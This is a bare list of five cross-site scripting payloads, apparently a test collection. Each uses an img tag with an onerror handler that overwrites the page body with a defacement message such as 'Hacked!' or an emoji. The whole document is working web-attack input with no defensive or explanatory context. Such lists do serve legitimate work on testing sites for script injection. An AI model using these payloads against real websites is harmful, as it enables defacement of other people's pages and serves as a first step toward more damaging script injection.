<img src=x onerror=document.body.innerHTML='<h1 style=color:red>Hacked!</h1>'>
<img src=x onerror=document.body.innerHTML='<h1 style=background:red>hacked!</h1>'>
<img src="x"onerror="document.body.innerHTML='<center><h1 style="color:red;">😅</h1></center>'">
<img src=x onerror=document.body.innerHTML='<h1 style=background:red>😅!</h1>'>
<img src="x" onerror="document.body.innerHTML='<center><h1>😅<h1></center>'">
